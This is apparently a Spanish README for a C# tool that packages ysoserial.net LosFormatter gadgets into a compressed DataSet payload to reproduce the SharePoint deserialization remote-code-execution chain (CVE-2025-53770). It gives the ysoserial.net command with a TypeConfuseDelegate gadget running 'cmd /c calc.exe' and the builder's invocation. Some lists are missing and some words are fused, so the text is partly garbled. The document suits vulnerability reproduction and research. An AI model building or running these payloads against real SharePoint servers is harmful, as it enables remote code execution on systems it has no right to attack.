
Herramienta en C# que construye una carga útil de .NET DataSet comprimida con GZip y codificada en Base64 mediante LosFormatter para reproducir la cadena de RCE por deserialización de SharePoint (CVE-2025-53770).
Esta es una herramienta sencilla en C# que construye una carga útil de .NET DataSet comprimida con GZip y codificada en Base64, utilizando una carga útil interna codificada con LosFormatter. Está diseñada para ayudar a reproducir la cadena de ejecución remota de código (RCE) por deserialización de SharePoint descrita en investigaciones públicas.
Se le proporciona una carga útil codificada en Base64 (como una de ysoserial.net), y la herramienta:
.b64Primero, genere su carga útil con ysoserial.net:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
Luego ejecute esta herramienta:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
Esto generará:
Además, si no especifica --a, --b o --c, la herramienta genera nombres aleatorios en minúsculas.
Notas
Esta herramienta no valida ni inspecciona la carga útil que se le proporcione.
Si está probando localmente y deserializa manualmente, puede ejecutarse (por ejemplo, abrir la calculadora).